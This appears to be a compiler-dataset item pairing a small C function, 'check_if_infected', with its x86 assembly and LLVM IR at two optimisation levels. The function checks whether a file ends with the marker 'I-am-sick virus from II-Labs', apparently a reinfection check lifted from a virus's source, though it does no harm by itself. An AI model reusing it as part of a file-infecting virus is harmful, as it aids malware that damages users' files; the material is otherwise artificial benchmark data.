#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int st_size;
};

/* Variables and functions */
int /*<<< orphan*/ O_RDONLY;
int /*<<< orphan*/ SEEK_SET;
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ lseek(int, int, int /*<<< orphan*/);
int open(char *, int /*<<< orphan*/);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ read(int, char **, int);
int strlen(char *);
scalar_t__ strncmp(char *, char *, int);
int check_if_infected(char *name, struct stat *sb) {
  int fd, size;
  char buf[64];
  if ((fd = open(name, O_RDONLY)) == -1)
    perror("open:");
  size = sb->st_size - strlen("I-am-sick virus from II-Labs");
  lseek(fd, size, SEEK_SET);
  read(fd, &buf, strlen("I-am-sick virus from II-Labs"));
  close(fd);
  if ((strncmp(buf, "I-am-sick virus from II-Labs",
               strlen("I-am-sick virus from II-Labs"))) == 0) {
    return 0;
  } else
    return -1;
}


x86 assembly (clang, -O0):
<check_if_infected>:
push   %rbp
mov    %rsp,%rbp
sub    $0x80,%rsp
mov    %rdi,-0x10(%rbp)
mov    %rsi,-0x18(%rbp)
mov    -0x10(%rbp),%rdi
mov    0x2e5a(%rip),%rax
mov    (%rax),%esi
call   1080 <open@plt>
mov    %eax,-0x1c(%rbp)
cmp    $0xffffffff,%eax
jne    11ad <check_if_infected+0x3d>
lea    0xe58(%rip),%rdi
call   1090 <perror@plt>
mov    -0x18(%rbp),%rax
mov    (%rax),%eax
mov    %eax,-0x78(%rbp)
lea    0xe49(%rip),%rdi
call   1040 <strlen@plt>
mov    %eax,%ecx
mov    -0x78(%rbp),%eax
sub    %ecx,%eax
mov    %eax,-0x20(%rbp)
mov    -0x1c(%rbp),%edi
mov    -0x20(%rbp),%esi
mov    0x2dff(%rip),%rax
mov    (%rax),%edx
call   1050 <lseek@plt>
mov    -0x1c(%rbp),%eax
mov    %eax,-0x74(%rbp)
lea    -0x60(%rbp),%rax
mov    %rax,-0x70(%rbp)
lea    0xe11(%rip),%rdi
call   1040 <strlen@plt>
mov    -0x74(%rbp),%edi
mov    -0x70(%rbp),%rsi
mov    %eax,%edx
call   1070 <read@plt>
mov    -0x1c(%rbp),%edi
call   1060 <close@plt>
lea    -0x60(%rbp),%rax
mov    %rax,-0x68(%rbp)
lea    0xde7(%rip),%rdi
call   1040 <strlen@plt>
mov    -0x68(%rbp),%rdi
mov    %eax,%edx
lea    0xdd5(%rip),%rsi
call   1030 <strncmp@plt>
cmp    $0x0,%rax
jne    124c <check_if_infected+0xdc>
movl   $0x0,-0x4(%rbp)
jmp    1253 <check_if_infected+0xe3>
movl   $0xffffffff,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x80,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<check_if_infected>:
push   %rbp
push   %r14
push   %rbx
sub    $0x40,%rsp
mov    %rsi,%r14
mov    0x2e66(%rip),%rax
mov    (%rax),%esi
call   1080 <open@plt>
mov    %eax,%ebx
cmp    $0xffffffff,%eax
je     11f7 <check_if_infected+0x87>
mov    (%r14),%ebp
lea    0xe6c(%rip),%r14
mov    %r14,%rdi
call   1040 <strlen@plt>
sub    %eax,%ebp
mov    0x2e2d(%rip),%rax
mov    (%rax),%edx
mov    %ebx,%edi
mov    %ebp,%esi
call   1050 <lseek@plt>
mov    %r14,%rdi
call   1040 <strlen@plt>
mov    %rsp,%rbp
mov    %ebx,%edi
mov    %rbp,%rsi
mov    %eax,%edx
call   1070 <read@plt>
mov    %ebx,%edi
call   1060 <close@plt>
mov    %r14,%rdi
call   1040 <strlen@plt>
mov    %rbp,%rdi
mov    %r14,%rsi
mov    %eax,%edx
call   1030 <strncmp@plt>
neg    %rax
sbb    %eax,%eax
add    $0x40,%rsp
pop    %rbx
pop    %r14
pop    %rbp
ret
lea    0xe02(%rip),%rdi
call   1090 <perror@plt>
jmp    1190 <check_if_infected+0x20>

LLVM IR (-O0):
%struct.stat = type { i32 }
@O_RDONLY = global i32 0
@.str = [6 x i8] c"open:\00"
@.str.1 = [29 x i8] c"I-am-sick virus from II-Labs\00"
@SEEK_SET = global i32 0
define i32 @check_if_infected(i8* %0, %struct.stat* %1) {
%3 = alloca i32
%4 = alloca i8*
%5 = alloca %struct.stat*
%6 = alloca i32
%7 = alloca i32
%8 = alloca [64 x i8]
store i8* %0, i8** %4
store %struct.stat* %1, %struct.stat** %5
%9 = load i8*, i8** %4
%10 = load i32, i32* @O_RDONLY
%11 = call i32 @open(i8* %9, i32 %10)
store i32 %11, i32* %6
%12 = icmp eq i32 %11, -1
br i1 %12, label %13, label %15
13: ; preds = %2
%14 = call i32 @perror(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0))
br label %15
15: ; preds = %13, %2
%16 = load %struct.stat*, %struct.stat** %5
%17 = getelementptr inbounds %struct.stat, %struct.stat* %16, i32 0, i32 0
%18 = load i32, i32* %17
%19 = call i32 @strlen(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
%20 = sub nsw i32 %18, %19
store i32 %20, i32* %7
%21 = load i32, i32* %6
%22 = load i32, i32* %7
%23 = load i32, i32* @SEEK_SET
%24 = call i32 @lseek(i32 %21, i32 %22, i32 %23)
%25 = load i32, i32* %6
%26 = bitcast [64 x i8]* %8 to i8**
%27 = call i32 @strlen(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
%28 = call i32 @read(i32 %25, i8** %26, i32 %27)
%29 = load i32, i32* %6
%30 = call i32 @close(i32 %29)
%31 = getelementptr inbounds [64 x i8], [64 x i8]* %8, i64 0, i64 0
%32 = call i32 @strlen(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
%33 = call i64 @strncmp(i8* %31, i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0), i32 %32)
%34 = icmp eq i64 %33, 0
br i1 %34, label %35, label %36
35: ; preds = %15
store i32 0, i32* %3
br label %37
36: ; preds = %15
store i32 -1, i32* %3
br label %37
37: ; preds = %36, %35
%38 = load i32, i32* %3
ret i32 %38
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@O_RDONLY = global i32 0
@.str = [6 x i8] c"open:\00"
@.str.1 = [29 x i8] c"I-am-sick virus from II-Labs\00"
@SEEK_SET = global i32 0
define i32 @check_if_infected(i8* nocapture %0, %struct.stat* nocapture %1) {
%3 = alloca [64 x i8]
%4 = getelementptr inbounds [64 x i8], [64 x i8]* %3, i64 0, i64 0
%5 = load i32, i32* @O_RDONLY
%6 = tail call i32 @open(i8* %0, i32 %5)
%7 = icmp eq i32 %6, -1
br i1 %7, label %8, label %10
8: ; preds = %2
%9 = tail call i32 @perror(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0))
br label %10
10: ; preds = %8, %2
%11 = getelementptr inbounds %struct.stat, %struct.stat* %1, i64 0, i32 0
%12 = load i32, i32* %11
%13 = tail call i32 @strlen(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
%14 = sub nsw i32 %12, %13
%15 = load i32, i32* @SEEK_SET
%16 = tail call i32 @lseek(i32 %6, i32 %14, i32 %15)
%17 = bitcast [64 x i8]* %3 to i8**
%18 = tail call i32 @strlen(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
%19 = call i32 @read(i32 %6, i8** %17, i32 %18)
%20 = tail call i32 @close(i32 %6)
%21 = tail call i32 @strlen(i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0))
%22 = call i64 @strncmp(i8* %4, i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.1, i64 0, i64 0), i32 %21)
%23 = icmp ne i64 %22, 0
%24 = sext i1 %23 to i32
ret i32 %24
}